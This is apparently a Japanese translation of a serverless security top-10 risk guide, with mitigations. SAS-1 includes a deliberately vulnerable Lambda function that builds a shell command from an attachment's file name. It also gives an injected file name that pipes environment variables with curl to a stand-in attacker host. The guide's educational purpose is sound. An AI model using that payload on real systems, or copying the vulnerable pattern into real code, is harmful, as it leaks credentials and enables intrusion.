- 2020/3/14 追記
昨年、PureSec も加盟している Cloud Security Alliance の Israel Chapter から、The 12 Most Critical Risks for Serverless Applications 2019 が公開されました。
※本記事の公開時点で既に TOP12 が最新でした・・・
本記事で記載している既存の TOP 10 の内容に大きな変更はなさそうですが（SAS-9 は Serverless Business Logic Manipulation に改題）、新たに追加された SAS-11、SAS-12 について本文に追記します。
既存の文章にも差分があるようですので、正確な内容は原文をご参照ください。
- 追記はここまで
イスラエルのセキュリティスタートアップ PureSec による The Ten Most Critical Risks for Serverless Applications v1.0 の Google 翻訳（とちょっと校正）です。
文量が多く、内容も濃いので何度も見返せるように日本語にしました。
序文で述べられているように、このドキュメントでは現時点（原文の最終更新日は2019/3/20）でサーバーレスアーキテクチャに固有のトップリスクと考えられるものを列挙しているということを留意し、実装にあたっては最新のドキュメントを確認することをお勧めします（この翻訳は継続的なメンテナンスを行う予定はありません）。
なお、原文は Apache License 2.0 です。
サーバーレスアプリケーションの最も重大なリスク10選
序文
「サーバーレスアーキテクチャセキュリティトップ10」(訳者注: 本ドキュメントである SAS-Top10 のこと)は、セキュリティに関する認識と教育のガイドとして機能することを目的としています。このドキュメントはアプリケーションセキュリティ、クラウド、およびサーバーレスアーキテクチャの豊富な経験を持つ業界のトッププラクティスおよびセキュリティ研究者によってキュレーションおよびメンテナンスされています。
多くの組織はまだサーバーレスアーキテクチャを検討しているか、サーバーレスの世界に最初の一歩を踏み出したところなので、私たちはこのガイドが彼らにとって堅牢で安全で信頼性の高いアプリケーションを構築するための重要なドキュメントだと信じています。
セキュリティリスクを最小限に抑えるために、すべての組織がこのドキュメントを採用し、サーバーレスアプリケーションの設計、開発、テストのプロセスで使用することをお勧めします。
このドキュメントはコミュニティからのインプットやサーバーレスアーキテクチャリスクに関する調査と分析に基づいて定期的に維持および強化されます。
最後に、このドキュメントでは現時点でサーバーレスアーキテクチャに固有のトップリスクと考えられるものを列挙しているということを強調する必要があります。読者は常に安全なソフトウェア設計および開発のベストプラクティスに従うことをお勧めします。
サーバーレスセキュリティの概要
サーバーレスアーキテクチャ（"FaaS"- Function as a Service とも呼ばれる）により、組織は物理サーバーまたは仮想サーバーを維持またはプロビジョニングすることなく、ソフトウェアとサービスをビルド、デプロイできます。サーバーレスアーキテクチャを使用して構築されたアプリケーションは幅広いサービスに適しており、クラウドワークロードの増加に応じて柔軟に拡張することができます。
ソフトウェア開発の観点から、サーバーレスアーキテクチャを採用している組織は製品のコアな機能に集中でき、基盤となるオペレーティングシステム、アプリケーションサーバー、またはソフトウェアランタイム環境を完全に無視することができます。
サーバーレスアーキテクチャを使用してアプリケーションを開発することで、基盤となるオペレーティングシステムとアプリケーションサーバーにセキュリティパッチを常に適用するという困難な作業から解放されます。これらのタスクはサーバーレスアーキテクチャプロバイダーの責任です。
次の図はサーバーレスアーキテクチャに適応した共有セキュリティ責任モデル(shared security responsibilities model)を示しています。
サーバーレスアーキテクチャでは、サーバーレスプロバイダーはデータセンター、ネットワーク、サーバー、オペレーティングシステム、およびそれらの構成を保護する責任があります。しかしながら、アプリケーションロジック、コード、データ、およびアプリケーション層の構成も攻撃に対して堅牢かつ柔軟である必要があり、それらの確保はアプリケーションの所有者の責任になります。
サーバーレスアーキテクチャの快適さとエレガントさには欠点がないわけではありません。サーバーレスアーキテクチャは、こうしたアプリケーションを保護する際に考慮しなければならない新しい問題をもたらします。
- 攻撃領域の増加: サーバーレスファンクションズは、HTTP API、メッセージキュー、クラウドストレージ、IoT デバイス通信などの幅広いイベントソースからデータを消費します。これにより、特にそのようなメッセージがプロトコルや複雑なメッセージ構造を使用している場合、攻撃対象領域が劇的に増加します。これらの多くは Web アプリケーションファイアウォールなどの標準アプリケーション層保護では検査できません。
- 攻撃領域の複雑さ: サーバーレスアーキテクチャがまだかなり新しいことを考えると、その攻撃対象領域を理解することが難しい場合があります。多くのソフトウェア開発者および設計者は、このようなアプリケーションを保護するために必要なセキュリティリスクと適切なセキュリティ保護について十分な経験をまだ持っていません。
- システム全体の複雑さ: サーバーレスアーキテクチャの可視化と監視は標準のソフトウェア環境よりもさらに複雑です。
-
不十分なセキュリティテスト: サーバーレスアーキテクチャのセキュリティテストは標準のアプリケーションテストよりも複雑です。特にこのようなアプリケーションがリモートのサードパーティサービスまたは NoSQL データベース、クラウドストレージ、ストリームサービスなどのバックエンドクラウドサービスを利用する場合は顕著になります。さらに、自動スキャンツールは現在、サーバーレスアプリケーションのスキャンに適合していません:
- DAST (dynamic application security testing) ツールは HTTP インターフェイスのテストカバレッジのみを提供します。HTTP 以外のソースからの入力を消費するサーバーレスアプリケーションをテストするとき、またはバックエンドクラウドサービスと対話するときに問題を引き起こします。さらに、多くの DAST ツールには従来の HTML / HTTP リクエスト/レスポンスモデルおよびリクエストフォーマットに従わない Web サービス（RESTful サービスなど）を効果的にテストするための問題があります。
- SAST (static application security testing) ツールはソフトウェアの脆弱性を検出するためにデータフロー分析、制御フロー、およびセマンティック分析に依存しています。サーバーレスアプリケーションにはイベントトリガーとクラウドサービス（メッセージキュー、クラウドストレージ、NoSQL データベースなど）などでつなぎ合わされた複数の異なる機能が含まれているため、このようなシナリオでデータフローを静的に分析すると誤検知が発生しやすくなります。さらに、多くのツールの source/sink rules では FaaS コンストラクトが考慮されていないため、SAST ツールも偽陰性の影響を受けます。これらのルールセットは、サーバーレスアプリケーションを適切にサポートするために進化する必要があります。
- IAST (interactive application security testing) ツールは DAST と SAST の両方と比較して、サーバーレスアプリケーションの脆弱性を正確に検出する確率が高くなりますが、DAST ツールと同様にサーバーレスアプリケーションが非 HTTP インターフェイスを使用して入力を消費するとセキュリティカバレッジが損なわれます。さらに、一部の IAST ソリューションでは、テスターがインストルメンテーションエージェントをローカルマシンに展開する必要がありますが、これはサーバーレス環境ではオプションではありません
- 従来のセキュリティ保護(ファイアウォール、WAF、IPS/IDS): サーバーレスアーキテクチャを使用する組織は、物理（または仮想）サーバーまたはそのオペレーティングシステムにアクセスできないため、エンドポイント保護、ホストベースの侵入防止、Web アプリケーションファイアウォールなど、従来のセキュリティレイヤーを展開することはできません。さらに、既存の検出ロジックとルールはサーバーレス環境をサポートするためにまだ整備されていません。
Top 10
サーバーレスアーキテクチャのセキュリティトップ10リストに進む前に、このドキュメントの主な目的はサーバーレスの採用を検討している組織に支援と教育を提供することであることを強調しておく必要があります。このドキュメントはサーバーレスアーキテクチャの最も顕著なセキュリティリスクと考えられるものに関する情報を提供しますが、決して網羅的なリストではありません。安全なソフトウェアの設計と開発に関連する他の業界標準に従うことをお勧めします。
このドキュメントのデータと調査は次のデータソースに基づいています。
- GitHub およびその他のオープンソースリポジトリで自由に利用できるサーバーレスプロジェクトの手動レビュー
- PureSec が開発した独自のアルゴリズムを使用したサーバーレスプロジェクトの自動ソースコードスキャン
- パートナーから提供されたデータ
- 個々の貢献者と業界の実務家によって提供されるデータ
参照しやすいように、トップ10ドキュメントの各カテゴリには SAS-{NUM} 形式の一意の識別子が付けられます。
このリストは、SAS-1…10 の重大度順に整理されています。SAS-1 は最も重大なリスクを示し、SAS-10 は最も重大でないリスクを示しています。
- SAS-1: Function Event-Data Injection
- SAS-2: Broken Authentication
- SAS-3: 安全でないサーバーレスデプロイコンフィギュレーション
- SAS-4: 過剰な権限を持つファンクションのアクセス許可とロール
- SAS-5: 不適切な機能の監視とロギング
- SAS-6: 安全でないサードパーティとの依存関係
- SAS-7: Insecure Application Secrets Storage
- SAS-8: Denial of Service & Financial Resource Exhaustion
- SAS-9: Serverless Function Execution Flow Manipulation
- SAS-10: 不適切な例外処理と詳細なエラーメッセージ
※訳者注: 一部のリスクは和訳することで却って意図が分かりづらくなると感じたので、原文のままにしています。
SAS-1: Function Event-Data Injection
アプリケーションのインジェクションに対する欠陥はこれまでで最も一般的なリスクの1つであり、OWASP Top 10 プロジェクトだけでなく多くのセキュアコーディングのベストプラクティスガイドで徹底的にカバーされています。高レベルではインジェクションの欠陥は信頼できない入力がインタープリターに直接渡され、最終的に実行または評価されるときに発生します。
ただしサーバーレスアーキテクチャのコンテキストでは、Function Event-Data Injection は Web API 呼び出しからの入力など、直接的なユーザー入力に厳密に制限されません。ほとんどのサーバーレスアーキテクチャはサーバーレス機能の実行をトリガーできる多数のイベントソースを提供します。
例えば：
- クラウドストレージイベント(AWS S3、Azure Blob Storage、Google Cloud Storage など)
- NoSQL データベースイベント(AWS DynamoDB、Azure CosmosDB など)
- SQL データベースイベント
- ストリーム処理イベント(AWS Kinesis など)
- コードの変更と新しいリポジトリコードのコミット
- HTTP API 呼び出し
- IoT デバイスのテレメトリ信号
- メッセージキューイベント
- SMS メッセージ通知、プッシュ通知、メールなど
サーバーレスファンクションは各タイプのイベントソースからの入力を使用できます。そのようなイベント入力にはイベントのタイプとそのソースに応じて異なるメッセージ形式が含まれることがあります。これらのイベントメッセージのさまざまな部分には攻撃者によって制御された入力、またはその他の危険な入力が含まれる場合があります。
この豊富なイベントソースのセットは、サーバーレスアーキテクチャが event-data injections からサーバーを保護しようとする場合に潜在的な攻撃対象領域を増やし、複雑さをもたらします。
開発者がどのメッセージ部分を信頼すべきでないかを知っている Web 環境（GET / POSTパラメーター、HTTPヘッダーなど）ほど、サーバーレスアーキテクチャがよく理解されていないためです。
サーバーレスアーキテクチャで最も一般的なタイプのインジェクションの欠陥を以下に示します（順不同）。
- Operating System (OS) command injection
- Function runtime code injection (e.g. Node.js/JavaScript, Python, Java, C#, Golang)
- SQL injection
- NoSQL injection
- Pub/Sub Message Data Tampering (e.g. MQTT data Injection)
- Object deserialization attacks
- XML External Entity (XXE)
- Server-Side Request Forgery (SSRF)
例として求職者の CV フィルタリングシステムを考えてみましょう。このシステムは、候補となる CV が PDF ファイルとして添付された電子メールを受信します。システムはテキスト分析を実行するために PDF ファイルをテキストに変換します。 PDF ファイルのテキストへの変換はコマンドラインユーティリティ(pdftotext)を使用して行われます。
def index(event, context):
for record in event['Records']:
sns_message = json.loads(record['Sns']['Message'])
raw_email = sns_message['content']
parser = email.message_from_string(raw_email)
if parser.is_multipart():
for email_msg in parser.get_payload():
file_name = email_msg.get_filename()
if not file_name:
continue
if not file_name.endswith('.pdf'):
continue
# export pdf attachment to /tmp
pdf_file_path = os.path.join('/tmp', file_name)
with open(pdf_file_path, "wb") as pdf_file:
pdf_file.write(email_msg.get_payload(decode=True))
# extract text from pdf file
cmd = "/var/task/lib/pdftotext {} -".format(pdf_file_path)
pdf_content = subprocess.check_output(cmd, shell=True)
このサーバーレスファンクションの開発者は、ユーザーが正当な PDF ファイル名を提供し、ファイルの拡張子が実際に「.pdf」であることを確認するための基本的なチェックを除き、アップロードされるファイル名に対していかなる種類の健全性チェックも実行しないことを前提としています。シェルコマンドはファイル名に直接埋め込まれます。この脆弱性により悪意のあるユーザーは PDF ファイル名の一部としてシェルコマンドを挿入できます。たとえば次の PDF ファイル名は現在実行中の関数のすべての環境変数をリークします。
foobar;env|curl -H "Content-Type: text/plain" -X POST -d @- http://attacker.site/collector #.pdf
比較
| 差別化要因 | 従来のアプリケーション | サーバーレスアプリケーション |
|---|---|---|
| 入力ベースの脆弱性の入力ソースと攻撃面 | 入力ソースの小さなセット- Injection ベースの攻撃は完全に理解されています | 入力ソースとデータ形式の豊富なセットを提供する幅広いイベントトリガー。Injection ベースの攻撃は予期しない場所にマウントされる可能性があり、その多くはまだ適切に研究されていません |
| Injection ベースの攻撃面の複雑さ | 開発者、アーキテクト、およびセキュリティ実務者は Injection ベースの脆弱性に関連する関連攻撃面に精通しています。たとえば、「HTTP GET / POSTパラメーターまたはヘッダーを信頼しないでください」 | サーバーレスはまだ新しいため多くの開発者、アーキテクト、およびセキュリティ専門家は Injection ベースの攻撃に関連するさまざまな攻撃ベクトルを理解するために必要な専門知識を持っていません |
| Injection ベースの攻撃のセキュリティテスト | 既存のセキュリティテストソリューション(DAST、SAST、IAST)は Injection ベースの脆弱性を検出するための優れたカバレッジを提供します | 現在の DAST/SAST/IAST セキュリティテストツールはサーバーレスでの Injection ベースの脆弱性のテストに適合していません |
| Injection ベースの攻撃に対する保護 | 従来のセキュリティ保護(ファイアウォール、IPS、WAF、RASP)は Injection ベースの攻撃に適切な保護範囲を提供します | 従来のセキュリティ保護はサーバーレスファンクションでの Injection ベースの攻撃の検出と防止には適していません |
緩和
- 決して入力を信頼したり、その有効性について何らかの仮定をしたりしない
- ユーザー入力をサニタイズまたは検証する安全な API、または変数をバインドしたり、基盤となるインフラストラクチャに変数をパラメーター化するメカニズムを提供する API(SQL クエリの場合はストアドプロシージャや準備されたステートメントなど)を常に使用します
- 最初に検証とサニタイズを行わない限り、ユーザーの入力をインタープリターに直接渡さないでください
- コードが常にタスクの実行に必要な最小限の権限で実行されることを確認してください
- 開発ライフサイクルで脅威モデリングを適用する場合、考えられるすべてのイベントタイプとシステムへのエントリポイントを必ず検討してください。入力は予想されるイベントトリガーからのみ到着すると想定しないでください
- 該当する場合、Web アプリケーションファイアウォールを使用してサーバーレスアプリケーションへ到達する HTTP/HTTPS トラフィックを検査します(注：アプリケーションレイヤーファイアウォールは HTTP(s)トラフィックのみを検査でき、他のイベントトリガーに対する保護を提供しないことに注意してください）
SAS-2: Broken Authentication
サーバーレスアーキテクチャはマイクロサービス指向のシステム設計を促進するため、多くの場合アプリケーションにはそれぞれ固有の目的を持つ数十または数百の異なるサーバーレスファンクションが含まれます。
これらのファンクションが組み合わされることによって、全体的なシステムロジックを形成するようにオーケストレイトされます。サーバーレスファンクションの中には パブリック Web API を公開するものもあれば、プロセスまたは他のファンクション間の何らかの内部接着剤として機能するものもあります。さらに、一部の機能はクラウドストレージイベント、NoSQL データベースイベント、IoT デバイスのテレメトリ信号、さらには SMS メッセージ通知など、さまざまなソースタイプのイベントを消費する場合があります。
関連するすべてのファンクション、イベントタイプ、およびトリガーへのアクセス制御と保護を提供する堅牢な認証スキームの適用は複雑な作業であり、慎重に行わないと簡単に失敗する可能性があります。
例として、適切な認証を強制するパブリック API のセットを公開するサーバーレスアプリケーションを想像してください。システムのもう一方の端では、アプリケーションはクラウドストレージサービスからファイルを読み取ります。クラウドストレージサービスでは、特定のサーバーレス機能への入力としてファイルコンテンツが消費されます。クラウドストレージサービスに適切な認証が適用されていない場合、システムは認証されていない不正なエントリポイントを公開していますが、これはシステム設計時に考慮されませんでした。
脆弱な認証の実装により、攻撃者はアプリケーションロジックをバイパスしてフローを操作し、認証されていないユーザーがファンクションを実行することで、想定していないアクションを実行できます。
比較
| 差別化要因 | 従来のアプリケーション | サーバーレスアプリケーション |
|---|---|---|
| 認証が必要なコンポーネント | 認証はドメイン/アプリ全体で単一の認証プロバイダーを使用して適用されます。適切な認証の適用が簡単。 | 多くの場合、各サーバーレス機能は独自の認証を必要とするナノサービスとして機能します。さらにサーバーレスアプリケーションで使用されるクラウドサービスにも独自の認証が必要です。その結果、適切な認証を適用する複雑さが非常に大きくなります。 |
| 必要な一意の認証スキームの数 | 単一かつ一貫した認証スキームがアプリケーション全体に適用されます | イベントトリガーとして複数のクラウドサービスに依存するサーバーレスアプリケーションは、クラウドサービスごとに異なる認証スキームを必要とする場合があります。 |
| 壊れた認証をテストするためのツール | ウェブ環境をテストするためのブルートフォース認証ツールの幅広く存在します。 | サーバーレス認証をテストするための適切なツールは欠如しています。 |
緩和
開発者が独自の認証スキームを構築するよりも、サーバーレス環境または関連するランタイムによって提供される認証機能を使用すること。
例えば：
- AWS Cognito またはシングルサインオン
- AWS API Gateway の認可機能(リンク)
- Azure App Service の認証/承認
- Google Firebase 認証
- IBM BlueMix AppID または SSO
API などの対話型ユーザー認証がオプションではないシナリオでは、開発者はセキュア API キー、SAML アサーション、クライアント側証明書、または認証標準の同様の方法を使用する必要があります。
テレメトリデータまたは OTA ファームウェアの更新に Pub/Sub メッセージングを使用する IoT エコシステムを構築している場合、次のベストプラクティスに注意してください。
- 暗号化されたチャネル(TLS など)での Pub/Sub メッセージの転送
- 追加のセキュリティレベルが必要な場合は、ワンタイムパスワードを使用します。
- pub/sub メッセージブローカー機能に基づいて、OAuth などのメカニズムを使用して外部認証プロバイダーをサポートします。
- pub/sub メッセージサブスクリプションに適切な承認を適用する。
- 証明書の管理に問題がない場合はクライアント証明書を発行し、証明書を持つクライアントからの接続のみを受け入れることを検討してください。
さらに、組織はサーバーレスクラウドプロバイダーが提供する継続的なセキュリティヘルスチェック機能を使用して正しいアクセス許可を監視し、企業のセキュリティポリシーに照らして評価する必要があります。
- AWS インフラストラクチャを使用する組織は、AWS Config Rules を使用して、企業のセキュリティポリシーとベストプラクティスに対して環境を継続的に監視および評価する必要があります。AWS Config Rules を使用してください:
- 新しくデプロイされた AWS Lambda 関数を発見する。
- 既存の AWS Lambda 関数に加えられた変更に関する通知を受け取る。
- AWS Lambda 関数に割り当てられたアクセス許可とロール(IAM)を評価する。
- 新しくデプロイされた AWS S3 バケット、または既存のバケットに加えられたセキュリティポリシーの変更を検出する。
- 暗号化されていないストレージで通知を受け取る。
- パブリック読み取りアクセス権を持つ AWS S3 バケットで通知を受信する。
- Microsoft Azure は Azure Security Center で利用可能なセキュリティ正常性監視機能を通じて同様の機能を提供します。
SAS-3: 安全でないサーバーレスデプロイコンフィギュレーション
一般にクラウドサービス、特にサーバーレスアーキテクチャは特定のニーズ、タスク、または周囲の環境ごとにそれらを適応させるために、多くのカスタマイズと構成設定を提供します。これらの構成設定の一部はアプリケーションの全体的なセキュリティ状態に重大な影響を与えるため注意が必要です。サーバーレスアーキテクチャベンダーが提供するデフォルト設定は必ずしもニーズに合っているとは限りません。
クラウドベースのストレージを使用する多くのアプリケーションに影響を与える非常に一般的な弱点の1つは、クラウドストレージの認証/承認が正しく構成されていないことです。
サーバーレスアーキテクチャの推奨ベストプラクティス設計の1つは、機能をステートレスにすることであるため、サーバーレスアーキテクチャ用に構築された多くのアプリケーションは実行間でデータを保存および保持するためにクラウドストレージインフラストラクチャに依存します。
近年、安全でないクラウドストレージ構成の多数のインシデントが発生しており、その結果、企業の機密情報が不正なユーザーに公開されています。さらに悪いことに、いくつかのケースでは機密データは公開検索エンジンによってもインデックス化され、誰でも簡単に利用できるようになりました。
比較
| 差別化要因 | 従来のアプリケーション | サーバーレスアプリケーション |
|---|---|---|
| 堅牢なデプロイ構成を必要とするインターネット向けサービスの数 | 安全なデプロイ構成を必要とするインターネット向けインターフェイスの数が限られている | 各クラウドサービスとサーバーレス機能には独自の安全なデプロイ構成が必要 |
| 堅牢なデプロイ構成を適用するためのベストプラクティス | 特に主流の開発フレームワークでよく知られ、完全に理解されている | ベンダーのドキュメントとベストプラクティスが存在します。サーバーレス環境を保護する方法に関する業界標準と公開ガイドはほとんどありません |
| 安全でない構成を検出するための自動化ツール | オープンソースおよび商用スキャナーの多くは安全でないデプロイ構成を特定します | 安全なサーバーレスアプリケーションをスキャンおよび構築し、安全にデプロイするためのツールは限定されています |
緩和
クラウドストレージインフラストラクチャからの機密データの漏洩を防ぐために、現在多くのベンダーは強化されたクラウドストレージ構成、多要素認証、転送中および保存中のデータの暗号化を提供しています。クラウドストレージを利用する組織はクラウドベンダーが提供する利用可能なストレージセキュリティ制御に精通する必要があります。
このトピックに関する関連記事とガイドのショートリストを次に示します。
- Amazon S3 バケットのファイルが安全であることを確認する方法(AWS リンク)
- Amazon S3 バケットを保護する方法（A Cloud Guru リンク）
- Microsoft Azure ストレージセキュリティガイド(Microsoft リンク)
- Google Cloud Storage のベストプラクティス(Google リンク)
- アプリを保護および監視するためのセキュリティ(IBM リンク)
さらに、クラウド環境でデータを暗号化する際に暗号化キー管理サービスを利用することをお勧めします。このようなサービスは暗号化キーの安全な作成と保守に役立ち、通常はサーバーレスアーキテクチャとの簡単な統合を提供します。
組織の開発チームと DevOps チームは、サーバーレスアーキテクチャベンダーが提供するさまざまなセキュリティ関連の構成設定に精通し、できるだけこれらの設定を認識できるようにすることをお勧めします。
また、SAS-2 の軽減策セクションで説明されているように、環境がセキュリティ保護され、企業のセキュリティポリシーに従っていることを確認するために継続的なセキュリティ構成の正常性監視を適用する必要があります。
SAS-4: 過剰な権限を持つファンクションのアクセス許可とロール
サーバーレスアプリケーションは常に「最小特権」の原則に従う必要があります。つまり、サーバーレスファンクションには意図したロジックを実行するために不可欠な特権のみを付与する必要があります。
例として、DynamoDB put_item() メソッドを使用して、データを受信し、DynamoDB テーブルに保存する次の AWS Lambda 関数を考えます。
# ...
# store pdf content in DynamoDB table
dynamodb_client.put_item(TableName=TABLE_NAME,
Item={"email": {"S": parser['From']},
"subject": {"S": parser['Subject']},
"received": {"S": str(datetime.utcnow()).split('.')[0]},
"filename": {"S": file_name},
"requestid": {'S': context.aws_request_id},
"content": {'S': pdf_content.decode("utf-8")}})
# ...
この関数はアイテムをデータベースに入れるだけですが、開発者はミスを犯し、次の'serverless.yml'ファイルで確認できるようにファンクションに許容範囲を超える IAM ロールを割り当てました。
- Effect: Allow
Action:
- 'dynamodb:*'
Resource:
- 'arn:aws:dynamodb:us-east-1:****************:table/TABLE_NAME'
適切な、最も特権の少ない役割は次のとおりです。
- Effect: Allow
Action:
- dynamodb:PutItem
Resource: 'arn:aws:dynamodb:us-east-1:****************:table/TABLE_NAME'
サーバーレスファンクションは通常マイクロサービスの概念に従うため、多くのサーバーレスアプリケーションには数十、数百、または数千ものファンクションが含まれています。これはファンクションのアクセス許可とロールの管理がすぐに退屈なタスクになることを意味します。そのようなシナリオでは、一部の組織はすべての機能に対して単一の許可モデルまたはセキュリティロールを使用することを余儀なくされ、基本的に各システムにシステム内の他のすべてのコンポーネントへのフルアクセスを許可します。
すべてのファンクションが一連の過剰な権限を共有しているシステムでは、単一のファンクションの脆弱性が最終的にシステム全体のセキュリティの大惨事に発展する可能性があります。
比較
| 差別化要因 | 従来のアプリケーション | サーバーレスアプリケーション |
|---|---|---|
| IAM、許可、およびロールの複雑さ | 作成および保守が簡単 -主にソフトウェアコンポーネントではなくユーザーロールに適用されます | サーバーレスベンダーに依存します -より高度または複雑になる可能性があります。影響範囲を減らすために、各サーバーレスファンクションは独自のロールと許可ポリシーで実行する必要があります |
緩和
潜在的な攻撃の影響範囲を封じるために、プラットフォームに関連する IAM(Identity and Access Management)機能を適用し、各機能が独自のユーザーロールを持ち、タスクを適切に実行するために最小限必要な特権で実行されることを確認することをお勧めします。
このトピックに関連するリソースは次のとおりです。
- AWS IAM ベストプラクティス(リンク)
- 現在、Microsoft Azure Functions は、機能ごとのアクセス許可とロールを提供していません。ただし、さまざまな Azure サービスは、詳細なアクセス制御を提供します。たとえば、共有アクセス署名([リンク](https://docs.microsoft.com/en-us/azure/storage/ common / storage-dotnet-shared-access-signature-part-1？toc =％2fazure％2fstorage％2fblobs％2ftoc.json))を使用して、Azure ストレージ内のオブジェクトへの制限付きアクセスを許可します。
- PureSec によるサーバーレス「最小特権」プラグイン(リンク)
SAS-5: 不適切な機能の監視とロギング
通常、すべてのサイバー「intrusion kill chain」は偵察フェーズで始まります。これは攻撃者がアプリケーションの弱点や潜在的な脆弱性について調査し、後でシステムを悪用する可能性のあるポイントです。主要な成功したサイバー侵害を振り返ると、攻撃者にとって常に利点であった1つの重要な要素はリアルタイムのインシデント対応の欠如でした。これは攻撃の早期シグナルの検出の失敗が原因でした。被害者の組織が効率的で適切なリアルタイムのセキュリティイベントの監視とログを記録していれば、多くの成功した攻撃を防ぐことができました。
サーバーレスアーキテクチャの重要な側面の1つは、組織のデータセンターの境界外のクラウド環境に存在するという事実です。そのため「オンプレミス」またはホストベースのセキュリティ制御は、実行可能な保護ソリューションとしては無関係になります。これはセキュリティイベントの監視とログ記録のために開発されたプロセス、ツール、および手順がすべて適切でないことを意味します。
多くのサーバーレスアーキテクチャベンダーは非常に有能なロギング機能を提供していますが、これらのログは基本的な設定のままで完全なセキュリティイベント監査証跡を提供する目的に必ずしも適していません。適切な監査証跡で適切なリアルタイムセキュリティイベントモニタリングを実現するには、サーバーレス開発者とその DevOps チームが、組織のニーズに合ったロギングロジックをつなぎ合わせる必要があります。
例：さまざまなサーバーレス機能とクラウドからリアルタイムログを収集する services のログをリモートセキュリティ情報およびイベント管理（SIEM）システムにプッシュします。多くの場合、最初に中間クラウドストレージサービスにログを保存する必要があります。
SANS の重要なログ情報に関する6つのカテゴリのペーパー(リンク)では次のログレポートを収集することを推奨しています。
- 認証および承認のレポート
- Change レポート
- ネットワークアクティビティレポート
- リソースアクセスレポート
- マルウェアアクティビティレポート
- 重大なエラーおよび障害レポート
比較
| 差別化要因 | 従来のアプリケーション | サーバーレスアプリケーション |
|---|---|---|
| 利用可能なセキュリティログ | 多くの従来のセキュリティ保護は、豊富なセキュリティイベントログを提供し、SIEM 製品またはログ分析ツールと統合します | 従来のセキュリティ保護はサーバーレスアーキテクチャとは無関係であるため、組織はクラウドプロバイダーのログに依存するか、独自のログ機能を構築できます |
| 適切なセキュリティロギングを適用するためのベストプラクティス | 幅広いドキュメントとベストプラクティスガイドが存在します（例：SANS "The 6 Categories of Critical Log Information"） | クラウドベンダーによってほとんどのガイドとドキュメントが提供されています。サーバー固有のベストプラクティスセキュリティログガイドは多くありません |
| ログ管理および分析ツールの可用性と成熟度 | 従来のアプリケーションログには、幅広いログ管理および分析ツールとその背後にある成熟した業界があります。 | クラウドセキュリティログ管理および分析ツールは、まだかなり新しいものです。サーバーレス機能レベルのログ分析ツールはまだ広く採用されていません |
| アプリケーション層の監視と分析 | 異なるアプリケーションコンポーネント間の相互作用の分析は、デバッガ/トレースユーティリティを使用して行うことができます | サーバーレスベースのアプリケーション内の相互作用を理解することは、特に環境によって適切な視覚化ツールが不足していることを考えると圧倒されるかもしれません |
緩和
サーバーレスアーキテクチャを採用している組織では、ログレポートに次のようなサーバーレス固有の情報を追加することをお勧めします。
- 成功/失敗したログインに関連する API アクセスキーのログ（認証）
- 不十分な許可（認可）でサーバーレスファンクションを呼び出そうとする
- 新しいサーバーレスファンクションまたは構成のデプロイの成功/失敗（変更）
- ファンクションの権限または実行ロールの変更（変更）
- 関連するクラウドストレージサービスのファイルまたはアクセス許可の変更（変更）
- ファンクショントリガー定義の変更（変更）
- サーバーレスファンクション間の異常な相互作用または不規則なフロー（変更）
- サードパーティの依存関係（モジュール、ライブラリ、またはAPI）の変更（変更）
- サーバーレスファンクションによって開始されたアウトバウンド接続（ネットワーク）
- サーバーレスファンクションの実行、またはサーバーレスアプリケーションが属するメインアカウントに関連しない外部サードパーティアカウントからのデータへのアクセス（リソースアクセス）
- サーバーレスファンクションの実行タイムアウト（障害レポート）
- サーバーレスファンクションへの同時実行制限への到達（障害レポート）
追加情報は、次の参照リンクにあります。
- CloudWatch を使用した Lambda ベースのアプリのトラブルシューティングとモニタリング(リンク)
- AWS Lambda のメトリックスとディメンション - CloudWatch(リンク)
- AWS CloudTrail を使用した AWS Lambda API 呼び出しのログ記録(リンク)
- Application Insights で Azure Functions を監視する(リンク)
- Google Cloud Functions の監視(リンク)
また、システムおよびデータフロー全体の理解を深めるために、サーバーレスアプリケーションロジック/コードランタイムトレースおよびデバッグ機能を採用することをお勧めします。
例えば：
SAS-6: 安全でないサードパーティとの依存関係
一般的な場合、サーバーレスファンクションは単一の個別のタスクを実行する小さなコードである必要があります。多くの場合、このタスクを実行するにはサードパーティのソフトウェアパッケージ、オープンソースライブラリに依存し、API 呼び出しを通じてサードパーティのリモート Web サービスを使用するサーバーレスファンクションが必要になります。
脆弱なサードパーティの依存関係からコードをインポートすると、最も安全なサーバーレスファンクションでさえ脆弱になる可能性があることに注意してください。
近年、安全でないサードパーティのパッケージに関するトピックに関する多くのホワイトペーパーと調査が公開されました。 MITRE CVE(Common Vulnerabilities and Exposures)データベースまたは同様のプロジェクトでのクイック検索は、サーバーレス機能を開発するときによく使用されるパッケージおよびモジュールの脆弱性がどれほど一般的かを示しています。
例えば：
OWASP Top 10プロジェクトには既知の脆弱性を持つコンポーネントの使用に関するセクションも含まれています。
比較
大きな違いはありません
緩和
サードパーティのコンポーネントの脆弱性に対処するには、次のような明確に定義されたプロセスが必要です。
- ソフトウェアパッケージおよびその他の依存関係とそれらのバージョンのインベントリリストの維持
- 既知の脆弱な依存関係のソフトウェアをスキャンする（特に新しいパッケージを追加したりパッケージバージョンをアップグレードしたりする場合）。脆弱性スキャンは進行中の CI/CD プロセスの一部として実行する必要があります
- 不要な依存関係を削除する（特にサーバーレス機能でそのような依存関係が不要になった場合）
- 信頼できるリソースからのみサードパーティのパッケージを使用し、パッケージが侵害されていないことを確認する
- 非推奨のパッケージバージョンを最新バージョンにアップグレードし、関連するすべてのソフトウェアパッチを適用する
SAS-7: Insecure Application Secrets Storage
アプリケーションのサイズと複雑さが増すにつれて、「アプリケーションのシークレット」を保存および維持する必要があります。たとえば、次のとおりです。
- API keys
- Database credentials
- 暗号鍵
- 機密性の高い構成設定
アプリケーションシークレットストレージに関連する最も頻繁に繰り返される間違いの1つは、ソフトウェアプロジェクトの一部であるプレーンテキストの構成ファイルにこれらのシークレットを単純に保存することです。そのような場合、プロジェクトの「読み取り」権限を持つすべてのユーザーがこれらのシークレットにアクセスできます。プロジェクトがパブリックリポジトリに保存されている場合、状況はさらに悪化します。
もう1つのよくある間違いは、これらの秘密を環境変数としてプレーンテキストで保存することです。環境変数はサーバーレスファンクションの実行間でデータを保持するための便利な方法ですが、場合によってはそのような環境変数が漏れて間違った手に到達する可能性があります。
比較
| 差別化要因 | 従来のアプリケーション | サーバーレスアプリケーション |
|---|---|---|
| シークレットの保存の容易さ | 従来のアプリケーションではシークレットは単一の集中構成ファイル（もちろん暗号化された）またはデータベースに保存できます | サーバーレスアプリケーションでは各機能は個別にパッケージ化されます。単一の集中構成ファイルは使用できません。これによって開発者は環境変数を使用するなどの「創造的な」アプローチを使用するようになります。 |
